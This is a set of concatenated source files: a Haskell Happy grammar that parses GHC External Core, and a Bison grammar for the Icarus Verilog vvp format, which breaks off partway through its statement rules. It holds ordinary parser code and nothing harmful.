cur_device = mk_device (iname, n_network);
nt = n_network -> n_terms;
}
return nt;
}
|
<filename>src/Fhw/CoreParser/Parser.y
{
{-# OPTIONS -w #-}
{- |
Module : Fhw.CoreParser.Parser
Description: Parse an External Core file into a module. The type of
each Var is set to UndefinedTy.
-}
module Fhw.CoreParser.Parser ( parse ) where
import Data.Ratio
import System.IO
import System.IO.Unsafe
import Fhw.Core.Core
import Fhw.CoreParser.ParseGlue
import Fhw.CoreParser.Lex (lexer)
import Fhw.CoreParser.Encoding
import Debug.Trace
import Data.List (groupBy)
}
-- directives
%name parse -- ^ the name of the parsing function Happy generates
%tokentype { Token } -- ^ the type of tokens parser accepts
%token -- ^ all the possible tokens
'%module' { TKmodule }
'%data' { TKdata }
'%forall' { TKforall }
'%rec' { TKrec }
'%let' { TKlet }
'%in' { TKin }
'%case' { TKcase }
'%of' { TKof }
'%external' { TKexternal }
'%sym' { TKsym }
'%trans' { TKtrans }
'%unsafe' { TKunsafe }
'%left' { TKleft }
'%right' { TKright }
'%inst' { TKinst }
'%_' { TKwild }
'%' { TKpercent }
'(' { TKoparen }
')' { TKcparen }
'{' { TKobrace }
'}' { TKcbrace }
'#' { TKhash}
'=' { TKeq }
'::' { TKcoloncolon }
'*' { TKstar }
'->' { TKrarrow }
'\\' { TKlambda}
'@' { TKat }
'.' { TKdot }
':' { TKcolon }
'?' { TKquestion}
';' { TKsemicolon }
NAME { TKname $$ }
CNAME { TKcname $$ } -- ^ capital name
INTEGER { TKinteger $$ }
STRING { TKstring $$ }
CHAR { TKchar $$ }
':=:' { TKeqkd }
-- | P: type constructor for the monad
-- thenP: bind operation of the monad
-- returnP: return operation of the monad
%monad { P } { thenP } { returnP }
%lexer { lexer } { TKEOF }
%%
-- ^ production rules for the grammar
module :: { Module }
: '%module' mname tdefs vdefgs { Module $2 $3 $4 }
tdefs :: { [Tdef] }
: {- empty -} {[]}
| tdef ';' tdefs {$1:$3}
tdef :: { Tdef }
: '%data' qcname tbinds '=' '{' cons '}' { Data $2 $3 $6 }
tbind :: { Tbind }
: name { ($1,Klifted) }
| '(' name '::' akind ')'
{ ($2,$4) }
tbinds :: { [Tbind] }
: {- empty -} { [] }
| tbind tbinds { $1:$2 }
vbind :: { Vbind }
: '(' name '::' ty')' { ($2,$4) }
vbinds :: { [Vbind] }
: {-empty -} { [] }
| vbind vbinds { $1:$2 }
bind :: { Bind }
: '@' tbind { Tb $2 }
| vbind { Vb $1 }
binds1 :: { [Bind] }
: bind { [$1] }
| bind binds1 { $1:$2 }
attbinds :: { [Tbind] }
: {- empty -} { [] }
| '@' tbind attbinds { $2:$3 }
akind :: { Kind }
: '*' {Klifted}
| '#' {Kunlifted}
| '?' {Kopen}
| '(' kind ')' { $2 }
| bty ':=:' bty {Keq $1 $3}
kind :: { Kind }
: akind { $1 }
| akind '->' kind
{ Karrow $1 $3 }
cons :: { [Cdef] }
: {- empty -} { [] }
| con { [$1] }
| con ';' cons { $1:$3 }
con :: { Cdef }
: qcname attbinds atys { Constr $1 $2 $3 }
atys :: { [Ty] }
: {- empty -} { [] }
| aty atys { $1:$2 }
aty :: { Ty }
: name { Tvar $1 }
| qcname { Tcon $1 }
| '(' ty ')' { $2 }
bty :: { Ty }
: aty { $1 }
| bty aty { Tapp $1 $2 }
ty :: { Ty }
: bty {$1}
| bty '->' ty
{ tArrow $1 $3 }
| '%forall' tbinds '.' ty
{ foldr Tforall $4 $2 }
| '%sym' ty
{ SymCoercion $2 }
| '%trans' aty ty
{ TransCoercion $2 $3 }
| '%unsafe' aty ty
{ UnsafeCoercion $2 $3 }
| '%left' ty
{ LeftCoercion $2 }
| '%right' ty
{ RightCoercion $2 }
| '%inst' aty ty
{ InstCoercion $2 $3 }
vdefgs :: { [Vdef] }
: {- empty -} { [] }
| vdefg ';' vdefgs { $1 ++ $3 }
vdefg :: { [Vdef] }
: '%rec' '{' vdefs1 '}' { $3 }
| vdef { [$1] }
vdefs1 :: { [Vdef] }
: vdef { [$1] }
| vdef ';' vdefs1 { $1:$3 }
vdef :: { Vdef }
: qname '::' ty '=' exp
{ Vdef $1 $3 $5 }
aexp :: { Exp }
: qname { Var $1 UndefinedTy }
| qcname { Dcon $1 UndefinedTy }
| lit { Lit $1 }
| '(' exp ')' { $2 }
fexp :: { Exp }
: fexp aexp { App $1 $2 }
| fexp '@' aty { Appt $1 $3 }
| aexp { $1 }
exp :: { Exp }
: fexp { $1 }
| '\\' binds1 '->' exp { Lam $2 $4 }
| '%let' vdefg '%in' exp { Let $2 $4 }
| '%case' aty aexp '%of' vbind '{' alts1 '}' { Case $3 $5 $2 $7 }
-- Very hacky: if we ever manage to eliminate all %external
-- tokens in the standard libraries, this can go
| '%external' NAME STRING aty { Lit (Literal (Lint 0) $4) }
alts1 :: { [Alt] }
: alt { [$1] }
| alt ';' alts1 { $1:$3 }
alt :: { Alt }
: qcname attbinds vbinds '->' exp { Acon $1 $2 $3 $5 }
| lit '->' exp { Alit $1 $3 }
| '%_' '->' exp { Adefault $3 }
lit :: { Lit }
: '(' INTEGER '::' aty ')'
{ Literal (Lint $2) $4 }
| '(' INTEGER '%' INTEGER '::' aty ')'
{ Literal (Lrational ($2 % $4)) $6 }
| '(' '(' INTEGER ')' '%' INTEGER '::' aty ')'
{ Literal (Lrational ($3 % $6)) $8 }
| '(' CHAR '::' aty ')'
{ Literal (Lchar $2) $4 }
| '(' STRING '::' aty ')'
{ Literal (Lstring $2) $4 }
name :: { String }
: NAME { zDecodeString $1 }
cname :: { String }
: CNAME { zDecodeString $1 }
mname :: { Mname }
: pkgName ':' cname
{ let (parentNames, childName) = splitModuleName $3 in
(M ($1, parentNames, childName)) }
pkgName :: { Pname }
: NAME { P (zDecodeString $1) }
| CNAME { P (zDecodeString $1) }
qname :: { (Maybe Mname, String) }
: name { (Nothing, $1) }
| mname '.' name { (Just $1,$3) }
qcname :: { (Maybe Mname, String) }
: cname { (Nothing, $1) }
| mname '.' cname { (Just $1,$3) }
{
-- | only used for '%label', external label currently
-- tAddrzh = Tcon $ (Just primMname, "Addrzh")
-- | Reporting the parser error together with the line number
happyError :: P a
happyError s l = failP (show l ++ ": Parse error\n") (take 100 s) l
-- | seperate the module name from its hierarchy name
splitModuleName :: String -> ([String], String)
splitModuleName mn =
let parts = filter (notElem '.') $ groupBy
(\ c1 c2 -> c1 /= '.' && c2 /= '.')
mn in
(take (length parts - 1) parts, last parts)
}
|
<reponame>gokulprasath7c/secure_i2c_using_ift<gh_stars>1-10
%{
/*
* Copyright (c) 2001-2009 <NAME> (<EMAIL>)
*
* This source code is free software; you can redistribute it
* and/or modify it in source code form under the terms of the GNU
* General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
*/
# include "parse_misc.h"
# include "compile.h"
# include "delay.h"
# include <cstdio>
# include <cstdlib>
# include <cassert>
/*
* These are bits in the lexor.
*/
extern FILE*yyin;
vector <const char*> file_names;
/*
* Local variables.
*/
/*
* When parsing a modpath list, this is the processed destination that
* the source items will attach themselves to.
*/
static struct __vpiModPath*modpath_dst = 0;
%}
%union {
char*text;
char **table;
uint64_t numb;
bool flag;
comp_operands_t opa;
struct symb_s symb;
struct symbv_s symbv;
struct numbv_s numbv;
struct symb_s vect;
struct argv_s argv;
vpiHandle vpi;
vvp_delay_t*cdelay;
};
%token K_A K_ALIAS K_ALIAS_S K_ALIAS_R
%token K_ARITH_ABS K_ARITH_DIV K_ARITH_DIV_R K_ARITH_DIV_S K_ARITH_MOD
%token K_ARITH_MOD_R K_ARITH_MOD_S
%token K_ARITH_MULT K_ARITH_MULT_R K_ARITH_SUB K_ARITH_SUB_R
%token K_ARITH_SUM K_ARITH_SUM_R K_ARITH_POW K_ARITH_POW_R K_ARITH_POW_S
%token K_ARRAY K_ARRAY_I K_ARRAY_R K_ARRAY_S K_ARRAY_PORT
%token K_CAST_INT K_CAST_REAL K_CAST_REAL_S
%token K_CMP_EEQ K_CMP_EQ K_CMP_EQ_R K_CMP_NEE K_CMP_NE K_CMP_NE_R
%token K_CMP_GE K_CMP_GE_R K_CMP_GE_S K_CMP_GT K_CMP_GT_R K_CMP_GT_S
%token K_CONCAT K_DEBUG K_DELAY K_DFF
%token K_EVENT K_EVENT_OR K_EXPORT K_EXTEND_S K_FUNCTOR K_IMPORT K_ISLAND
%token K_MODPATH K_NET K_NET_S K_NET_R
%token K_NET8 K_NET8_S
%token K_PARAM_STR K_PARAM_L K_PARAM_REAL K_PART K_PART_PV
%token K_PART_V K_PORT K_PV K_REDUCE_AND K_REDUCE_OR K_REDUCE_XOR
%token K_REDUCE_NAND K_REDUCE_NOR K_REDUCE_XNOR K_REPEAT
%token K_RESOLV K_SCOPE K_SFUNC K_SFUNC_E K_SHIFTL K_SHIFTR K_SHIFTRS
%token K_THREAD K_TIMESCALE K_TRAN K_TRANIF0 K_TRANIF1 K_TRANVP
%token K_UFUNC K_UFUNC_E K_UDP K_UDP_C K_UDP_S
%token K_VAR K_VAR_S K_VAR_I K_VAR_R K_vpi_call K_vpi_func K_vpi_func_r
%token K_disable K_fork
%token K_ivl_version K_vpi_module K_vpi_time_precision K_file_names
%token <text> T_INSTR
%token <text> T_LABEL
%token <numb> T_NUMBER
%token <text> T_STRING
%token <text> T_SYMBOL
%token <vect> T_VECTOR
%type <flag> local_flag
%type <numb> signed_t_number
%type <symb> symbol symbol_opt
%type <symbv> symbols symbols_net
%type <numbv> numbers
%type <text> label_opt
%type <opa> operand operands operands_opt
%type <table> udp_table
%type <argv> argument_opt argument_list
%type <vpi> argument symbol_access
%type <cdelay> delay delay_opt
%%
source_file : header_lines_opt program footer_lines;
header_lines_opt : header_lines | ;
header_lines
: header_line
| header_lines header_line
;
header_line
: K_ivl_version T_STRING ';'
{ verify_version($2, NULL); }
| K_ivl_version T_STRING T_STRING ';'
{ verify_version($2, $3); }
| K_vpi_module T_STRING ';'
{ compile_load_vpi_module($2); }
| K_vpi_time_precision '+' T_NUMBER ';'
{ compile_vpi_time_precision($3); }
| K_vpi_time_precision '-' T_NUMBER ';'
{ compile_vpi_time_precision(-$3); }
;
footer_lines
: K_file_names T_NUMBER ';' { file_names.reserve($2); }
name_strings
;
name_strings
: T_STRING ';'
{ file_names.push_back($1); }
| name_strings T_STRING ';'
{ file_names.push_back($2); }
;
/* A program is simply a list of statements. No other structure. */
program
: statement
| program statement
;
/* A statement can be any of the following. In all cases, the
statement is terminated by a semi-colon. In general, a statement
has a label, an opcode of some source, and operands. The
structure of the operands depends on the opcode. */
statement
/* Functor statements define functors. The functor must have a
label and a type name, and may have operands. The functor may
also have a delay specification and output strengths. */
: T_LABEL K_FUNCTOR T_SYMBOL T_NUMBER ',' symbols ';'
{ compile_functor($1, $3, $4, 6, 6, $6.cnt, $6.vect); }
| T_LABEL K_FUNCTOR T_SYMBOL T_NUMBER
'[' T_NUMBER T_NUMBER ']' ',' symbols ';'
{ unsigned str0 = $6;
unsigned str1 = $7;
compile_functor($1, $3, $4, str0, str1,
$10.cnt, $10.vect);
}
/* UDP statements define or instantiate UDPs. Definitions take a
label (UDP type id) a name (string), the number of inputs, and
for sequential UDPs the initial value. */
| T_LABEL K_UDP_S T_STRING ',' T_NUMBER ',' T_NUMBER ',' udp_table ';'
{ compile_udp_def(1, $1, $3, $5, $7, $9); }
| T_LABEL K_UDP_C T_STRING ',' T_NUMBER ',' udp_table ';'
{ compile_udp_def(0, $1, $3, $5, 0, $7); }
| T_LABEL K_UDP T_SYMBOL delay_opt ',' symbols ';'
{ compile_udp_functor($1, $3, $4, $6.cnt, $6.vect); }
/* Memory. Definition, port, initialization */
| T_LABEL K_ARRAY T_STRING ',' signed_t_number signed_t_number ',' signed_t_number signed_t_number ';'
{ compile_var_array($1, $3, $5, $6, $8, $9, 0); }
| T_LABEL K_ARRAY_I T_STRING ',' signed_t_number signed_t_number ',' signed_t_number signed_t_number ';'
{ compile_var_array($1, $3, $5, $6, $8, $9, 2); }
| T_LABEL K_ARRAY_R T_STRING ',' signed_t_number signed_t_number ',' signed_t_number signed_t_number ';'
{ compile_real_array($1, $3, $5, $6, $8, $9); }
| T_LABEL K_ARRAY_S T_STRING ',' signed_t_number signed_t_number ',' signed_t_number signed_t_number ';'
{ compile_var_array($1, $3, $5, $6, $8, $9, 1); }
| T_LABEL K_ARRAY T_STRING ',' signed_t_number signed_t_number ';'
{ compile_net_array($1, $3, $5, $6); }
| T_LABEL K_ARRAY_PORT T_SYMBOL ',' T_SYMBOL ';'
{ compile_array_port($1, $3, $5); }
| T_LABEL K_ARRAY_PORT T_SYMBOL ',' T_NUMBER ';'
{ compile_array_port($1, $3, $5); }
| T_LABEL K_ARRAY T_STRING ',' T_SYMBOL ';'
{ compile_array_alias($1, $3, $5); }
/* The .ufunc functor is for implementing user defined functions, or
other thread code that is automatically invoked if any of the
bits in the symbols list change. */
| T_LABEL K_UFUNC T_SYMBOL ',' T_NUMBER ','
symbols '(' symbols ')' symbol T_SYMBOL ';'
{ compile_ufunc($1, $3, $5,
$7.cnt, $7.vect,
$9.cnt, $9.vect,
$11, $12, 0); }
| T_LABEL K_UFUNC_E T_SYMBOL ',' T_NUMBER ',' T_SYMBOL ','
symbols '(' symbols ')' symbol T_SYMBOL ';'
{ compile_ufunc($1, $3, $5,
$9.cnt, $9.vect,
$11.cnt, $11.vect,
$13, $14, $7); }
/* Resolver statements are very much like functors. They are
compiled to functors of a different mode. */
| T_LABEL K_RESOLV T_SYMBOL ',' symbols ';'
{ struct symbv_s obj = $5;
compile_resolver($1, $3, obj.cnt, obj.vect);
}
/* Part select statements take a single netlist input, and numbers
that define the part to be selected out of the input. */
| T_LABEL K_PART T_SYMBOL ',' T_NUMBER ',' T_NUMBER ';'
{ compile_part_select($1, $3, $5, $7); }
| T_LABEL K_PART_PV T_SYMBOL ',' T_NUMBER ',' T_NUMBER ',' T_NUMBER ';'
{ compile_part_select_pv($1, $3, $5, $7, $9); }
| T_LABEL K_PART_V T_SYMBOL ',' T_SYMBOL ',' T_NUMBER ';'
{ compile_part_select_var($1, $3, $5, $7); }
| T_LABEL K_CONCAT '[' T_NUMBER T_NUMBER T_NUMBER T_NUMBER ']' ','
symbols ';'
{ compile_concat($1, $4, $5, $6, $7, $10.cnt, $10.vect); }
/* The ABS statement is a special arithmetic node that takes 1
input. Re-use the symbols rule. */
| T_LABEL K_ARITH_ABS symbols ';'
{ struct symbv_s obj = $3;
compile_arith_abs($1, obj.cnt, obj.vect);
}
| T_LABEL K_CAST_INT T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_arith_cast_int($1, $3, obj.cnt, obj.vect);
}
| T_LABEL K_CAST_REAL symbols ';'
{ struct symbv_s obj = $3;
compile_arith_cast_real($1, false, obj.cnt, obj.vect);
}
| T_LABEL K_CAST_REAL_S symbols ';'
{ struct symbv_s obj = $3;
compile_arith_cast_real($1, true, obj.cnt, obj.vect);
}
/* Arithmetic statements generate functor arrays of a given width
that take like size input vectors. */
| T_LABEL K_ARITH_DIV T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_arith_div($1, $3, false, obj.cnt, obj.vect);
}
| T_LABEL K_ARITH_DIV_R T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_arith_div_r($1, obj.cnt, obj.vect);
}
| T_LABEL K_ARITH_DIV_S T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_arith_div($1, $3, true, obj.cnt, obj.vect);
}
| T_LABEL K_ARITH_MOD T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_arith_mod($1, $3, false, obj.cnt, obj.vect);
}
| T_LABEL K_ARITH_MOD_R T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_arith_mod_r($1, obj.cnt, obj.vect);
}
| T_LABEL K_ARITH_MOD_S T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_arith_mod($1, $3, true, obj.cnt, obj.vect);
}
| T_LABEL K_ARITH_MULT T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_arith_mult($1, $3, obj.cnt, obj.vect);
}
| T_LABEL K_ARITH_MULT_R T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_arith_mult_r($1, obj.cnt, obj.vect);
}
| T_LABEL K_ARITH_POW T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_arith_pow($1, $3, false, obj.cnt, obj.vect);
}
| T_LABEL K_ARITH_POW_R T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_arith_pow_r($1, obj.cnt, obj.vect);
}
| T_LABEL K_ARITH_POW_S T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_arith_pow($1, $3, true, obj.cnt, obj.vect);
}
| T_LABEL K_ARITH_SUB T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_arith_sub($1, $3, obj.cnt, obj.vect);
}
| T_LABEL K_ARITH_SUB_R T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_arith_sub_r($1, obj.cnt, obj.vect);
}
| T_LABEL K_ARITH_SUM T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_arith_sum($1, $3, obj.cnt, obj.vect);
}
| T_LABEL K_ARITH_SUM_R T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_arith_sum_r($1, obj.cnt, obj.vect);
}
| T_LABEL K_CMP_EEQ T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_cmp_eeq($1, $3, obj.cnt, obj.vect);
}
| T_LABEL K_CMP_NEE T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_cmp_nee($1, $3, obj.cnt, obj.vect);
}
| T_LABEL K_CMP_EQ T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_cmp_eq($1, $3, obj.cnt, obj.vect);
}
| T_LABEL K_CMP_EQ_R T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_cmp_eq_r($1, obj.cnt, obj.vect);
}
| T_LABEL K_CMP_NE T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_cmp_ne($1, $3, obj.cnt, obj.vect);
}
| T_LABEL K_CMP_NE_R T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_cmp_ne_r($1, obj.cnt, obj.vect);
}
| T_LABEL K_CMP_GE T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_cmp_ge($1, $3, false, obj.cnt, obj.vect);
}
| T_LABEL K_CMP_GE_R T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_cmp_ge_r($1, obj.cnt, obj.vect);
}
| T_LABEL K_CMP_GE_S T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_cmp_ge($1, $3, true, obj.cnt, obj.vect);
}
| T_LABEL K_CMP_GT T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_cmp_gt($1, $3, false, obj.cnt, obj.vect);
}
| T_LABEL K_CMP_GT_R T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_cmp_gt_r($1, obj.cnt, obj.vect);
}
| T_LABEL K_CMP_GT_S T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_cmp_gt($1, $3, true, obj.cnt, obj.vect);
}
/* Delay nodes take a set of numbers or a set of inputs. The delay
node takes two form, one with an array of constants and a single
input, and another with an array of inputs. */
| T_LABEL K_DELAY delay symbol ';'
{ compile_delay($1, $3, $4); }
| T_LABEL K_DELAY symbols ';'
{ struct symbv_s obj = $3;
compile_delay($1, obj.cnt, obj.vect);
}
| T_LABEL K_MODPATH symbol symbol ','
{ modpath_dst = compile_modpath($1, $3, $4); }
modpath_src_list ';'
{ modpath_dst = 0; }
/* DFF nodes have an output and take exactly 4 inputs. */
| T_LABEL K_DFF symbol ',' symbol ',' symbol ',' symbol ';'
{ compile_dff($1, $3, $5, $7, $9); }
/* The various reduction operator nodes take a single input. */
| T_LABEL K_REDUCE_AND symbol ';'
{ compile_reduce_and($1, $3); }
| T_LABEL K_REDUCE_OR symbol ';'
{ compile_reduce_or($1, $3); }
| T_LABEL K_REDUCE_XOR symbol ';'
{ compile_reduce_xor($1, $3); }
| T_LABEL K_REDUCE_NAND symbol ';'
{ compile_reduce_nand($1, $3); }
| T_LABEL K_REDUCE_NOR symbol ';'
{ compile_reduce_nor($1, $3); }
| T_LABEL K_REDUCE_XNOR symbol ';'
{ compile_reduce_xnor($1, $3); }
| T_LABEL K_REPEAT T_NUMBER ',' T_NUMBER ',' symbol ';'
{ compile_repeat($1, $3, $5, $7); }
/* The extend nodes take a width and a symbol. */
| T_LABEL K_EXTEND_S T_NUMBER ',' symbol ';'
{ compile_extend_signed($1, $3, $5); }
/* System function call */
| T_LABEL K_SFUNC T_NUMBER T_NUMBER T_STRING ','
T_STRING ',' symbols ';'
{ compile_sfunc($1, $5, $7, $3, $4, $9.cnt, $9.vect, 0); }
| T_LABEL K_SFUNC_E T_NUMBER T_NUMBER T_STRING ',' T_SYMBOL ','
T_STRING ',' symbols ';'
{ compile_sfunc($1, $5, $9, $3, $4, $11.cnt, $11.vect, $7); }
/* System function call - no arguments */
| T_LABEL K_SFUNC T_NUMBER T_NUMBER T_STRING ','
T_STRING ';'
{ compile_sfunc($1, $5, $7, $3, $4, 0, 0, 0); }
| T_LABEL K_SFUNC_E T_NUMBER T_NUMBER T_STRING ',' T_SYMBOL ','
T_STRING ';'
{ compile_sfunc($1, $5, $9, $3, $4, 0, 0, $7); }
/* Shift nodes. */
| T_LABEL K_SHIFTL T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_shiftl($1, $3, obj.cnt, obj.vect);
}
| T_LABEL K_SHIFTR T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_shiftr($1, $3, false, obj.cnt, obj.vect);
}
| T_LABEL K_SHIFTRS T_NUMBER ',' symbols ';'
{ struct symbv_s obj = $5;
compile_shiftr($1, $3, true, obj.cnt, obj.vect);
}
/* Event statements take a label, a type (the first T_SYMBOL) and a
list of inputs. If the type is instead a string, then we have a
named event instead. */
| T_LABEL K_EVENT T_SYMBOL ',' symbols ';'
{ compile_event($1, $3, $5.cnt, $5.vect); }
| T_LABEL K_EVENT K_DEBUG T_SYMBOL ',' symbols ';'
{ compile_event($1, $4, $6.cnt, $6.vect); }
| T_LABEL K_EVENT T_STRING ';'
{ compile_named_event($1, $3); }
| T_LABEL K_EVENT_OR symbols ';'
{ compile_event($1, 0, $3.cnt, $3.vect); }
/* Instructions may have a label, and have zero or more
operands. The meaning of and restrictions on the operands depends
on the specific instruction. */
| label_opt T_INSTR operands_opt ';'
{ compile_code($1, $2, $3); }
| T_LABEL ';'
{ compile_codelabel($1); }
/* %vpi_call statements are instructions that have unusual operand
requirements so are handled by their own rules. The %vpi_func
statement is a variant of %vpi_call that includes a thread vector
after the name, and is used for function calls. */
| label_opt K_vpi_call T_NUMBER T_NUMBER T_STRING argument_opt ';'
{ compile_vpi_call($1, $5, $3, $4, $6.argc, $6.argv); }
| label_opt K_vpi_func T_NUMBER T_NUMBER T_STRING ','
T_NUMBER ',' T_NUMBER argument_opt ';'
{ compile_vpi_func_call($1, $5, $7, $9, $3, $4,
$10.argc, $10.argv); }
| label_opt K_vpi_func_r T_NUMBER T_NUMBER T_STRING ',' T_NUMBER
argument_opt ';'
{ compile_vpi_func_call($1, $5, $7, -vpiRealConst, $3, $4,
$8.argc, $8.argv); }
/* %disable statements are instructions that takes a scope reference
as an operand. It therefore is parsed uniquely. */
| label_opt K_disable symbol ';'
{ compile_disable($1, $3); }
| label_opt K_fork symbol ',' symbol ';'
{ compile_fork($1, $3, $5); }
/* Scope statements come in two forms. There are the scope
declaration and the scope recall. The declarations create the
scope, with their association with a parent. The label of the
scope declaration is associated with the new scope.
The symbol is module, function task, fork or begin. It is the
general class of the scope.
The strings are the instance name and type name of the
module. For example, if it is instance U of module foo, the
instance name is "U" and the type name is "foo".
The final symbol is the label of the parent scope. If there is no
parent scope, then this is a root scope. */
| T_LABEL K_SCOPE T_SYMBOL ',' T_STRING T_STRING T_NUMBER T_NUMBER ';'
{ compile_scope_decl($1, $3, $5, $6, 0, $7, $8, $7, $8); }
| T_LABEL K_SCOPE T_SYMBOL ',' T_STRING T_STRING T_NUMBER T_NUMBER ','
T_NUMBER T_NUMBER ',' T_SYMBOL ';'
{ compile_scope_decl($1, $3, $5, $6, $13, $7, $8, $10, $11); }
/* XXXX Legacy declaration has no type name. */
| T_LABEL K_SCOPE T_SYMBOL ',' T_STRING ';'
{ compile_scope_decl($1, $3, $5, 0, 0, 0, 0, 0, 0); }
| T_LABEL K_SCOPE T_SYMBOL ',' T_STRING ',' T_SYMBOL ';'
{ compile_scope_decl($1, $3, $5, 0, $7, 0, 0, 0, 0); }
/* Scope recall has no label of its own, but refers by label to a
declared scope. */
| K_SCOPE T_SYMBOL ';'
{ compile_scope_recall($2); }
| K_TIMESCALE T_NUMBER T_NUMBER';'
{ compile_timescale($2, $3); }
| K_TIMESCALE '-' T_NUMBER T_NUMBER';'
{ compile_timescale(-$3, $4); }
| K_TIMESCALE T_NUMBER '-' T_NUMBER';'
{ compile_timescale($2, -$4); }
| K_TIMESCALE '-' T_NUMBER '-' T_NUMBER';'
{ compile_timescale(-$3, -$5); }
/* Thread statements declare a thread with its starting address. The
starting address must already be defined. The .thread statement
may also take an optional flag word. */
| K_THREAD T_SYMBOL ';'
{ compile_thread($2, 0); }
| K_THREAD T_SYMBOL ',' T_SYMBOL ';'
{ compile_thread($2, $4); }
/* Var statements declare a bit of a variable. This also implicitly
creates a functor with the same name that acts as the output of
the variable in the netlist. */
| T_LABEL K_VAR local_flag T_STRING ',' signed_t_number signed_t_number ';'
{ compile_variable($1, $4, $6, $7, 0 /* unsigned */, $3); }
| T_LABEL K_VAR_S local_flag T_STRING ',' signed_t_number signed_t_number ';'
{ compile_variable($1, $4, $6, $7, 1 /* signed */, $3); }
| T_LABEL K_VAR_I local_flag T_STRING ',' T_NUMBER T_NUMBER ';'
{ compile_variable($1, $4, $6, $7, 2 /* integer */, $3); }
| T_LABEL K_VAR_R T_STRING ',' signed_t_number signed_t_number ';'
{ compile_var_real($1, $3, $5, $6); }
/* Net statements are similar to .var statements, except that they
declare nets, and they have an input list. */
| T_LABEL K_NET local_flag T_STRING ',' signed_t_number signed_t_number
',' symbols_net ';'
{ compile_net($1, $4, $6, $7, false, false, $3, $9.cnt, $9.vect); }
| T_LABEL K_NET_S local_flag T_STRING ',' signed_t_number signed_t_number
',' symbols_net ';'
{ compile_net($1, $4, $6, $7, true, false, $3, $9.cnt, $9.vect); }
| T_LABEL K_NET8 local_flag T_STRING ',' signed_t_number signed_t_number
',' symbols_net ';'
{ compile_net($1, $4, $6, $7, false, true, $3, $9.cnt, $9.vect); }
| T_LABEL K_NET8_S local_flag T_STRING ',' signed_t_number signed_t_number
',' symbols_net ';'
{ compile_net($1, $4, $6, $7, true, true, $3, $9.cnt, $9.vect); }
| T_LABEL K_NET_R local_flag T_STRING ',' signed_t_number signed_t_number
',' symbols_net ';'
{ compile_net_real($1, $4, $6, $7, $3, $9.cnt, $9.vect); }
| T_LABEL K_ALIAS T_STRING ',' signed_t_number signed_t_number
',' symbols_net ';'
{ compile_alias($1, $3, $5, $6, false, $8.cnt, $8.vect); }
| T_LABEL K_ALIAS_S T_STRING ',' signed_t_number signed_t_number
',' symbols_net ';'
{ compile_alias($1, $3, $5, $6, true, $8.cnt, $8.vect); }
| T_LABEL K_ALIAS_R T_STRING ',' signed_t_number signed_t_number
',' symbols_net ';'
{ compile_alias_real($1, $3, $5, $6, $8.cnt, $8.vect); }
/* Arrayed versions of net directives. */
| T_LABEL K_NET T_SYMBOL T_NUMBER ','
signed_t_number signed_t_number ','
symbols_net ';'
{ compile_netw($1, $3, $4, $6, $7, false, false, $9.cnt, $9.vect); }
| T_LABEL K_NET_S T_SYMBOL T_NUMBER ','
signed_t_number signed_t_number ','
symbols_net ';'
{ compile_netw($1, $3, $4, $6, $7, true, false, $9.cnt, $9.vect); }
| T_LABEL K_NET8 T_SYMBOL T_NUMBER ','
signed_t_number signed_t_number ','
symbols_net ';'
{ compile_netw($1, $3, $4, $6, $7, false, true, $9.cnt, $9.vect); }
| T_LABEL K_NET8_S T_SYMBOL T_NUMBER ','
signed_t_number signed_t_number ','
symbols_net ';'
{ compile_netw($1, $3, $4, $6, $7, true, true, $9.cnt, $9.vect); }
| T_LABEL K_NET_R T_SYMBOL T_NUMBER ','
signed_t_number signed_t_number ','
symbols_net ';'
{ compile_netw_real($1, $3, $4, $6, $7, $9.cnt, $9.vect); }
/* Array word versions of alias directives. */
| T_LABEL K_ALIAS T_SYMBOL T_NUMBER ','
signed_t_number signed_t_number ','
symbols_net ';'
{ compile_aliasw($1, $3, $4, $6, $7, $9.cnt, $9.vect); }
| T_LABEL K_ALIAS_R T_SYMBOL T_NUMBER ','
signed_t_number signed_t_number ','
symbols_net ';'
{ compile_aliasw($1, $3, $4, $6, $7, $9.cnt, $9.vect); }
/* Parameter statements come in a few simple forms. The most basic
is the string parameter. */
| T_LABEL K_PARAM_STR T_STRING T_NUMBER T_NUMBER',' T_STRING ';'
{ compile_param_string($1, $3, $7, $4, $5); }
